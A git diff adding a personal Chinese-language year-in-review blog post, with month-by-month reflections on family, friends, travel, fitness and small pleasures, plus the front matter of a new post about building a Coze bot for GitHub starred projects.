+今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。 + +我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。 + +下面回顾我这一年的每个月,我都写了一句送给自己的话。 + +一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。 + +*“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。”* + +二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。 + +*“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。”* + +三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。 + +*“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”* + +四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。 + +*“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”* + +五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。 + +*“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”* + +六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源: + +1. 人口少子化可能催生了“断亲族”,亲戚数量少、交往不够 +2. 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化 +3. 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异 +4. 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑 + +我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。 + +*“如果我们可以经常像朋友一样沟通,我有好多话想说。”* + +七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。 + +*“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”* + +八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。 + +*“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”* + +九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。 + +*“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”* + +十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。 + +*“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”* + +十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。 + +*“没有人可以评价你,做一个自信的人,我们的文化也是一样。”* + +十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。 + +*“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”* + +这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。 + +## 最后 + +2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。 \ No newline at end of file diff --git a/content/posts/2024/2024-06-04-coze-ai.md b/content/posts/2024/2024-06-04-coze-ai.md new file mode 100644 index 0000000..c2a0767 --- /dev/null +++ b/content/posts/2024/2024-06-04-coze-ai.md @@ -0,0 +1,10 @@ +--- +title: "使用Coze平台对Github Star项目进行分析推送" +date: 2024-06-04 +description:在这篇文章中,我将介绍如何使用Coze平台开发一个Bot来读取Github Star项目,并输出分析结果推送到知识星球。 +url: /archivers/2024-06-04/coze-ai +tags: AI相关 +--- + + +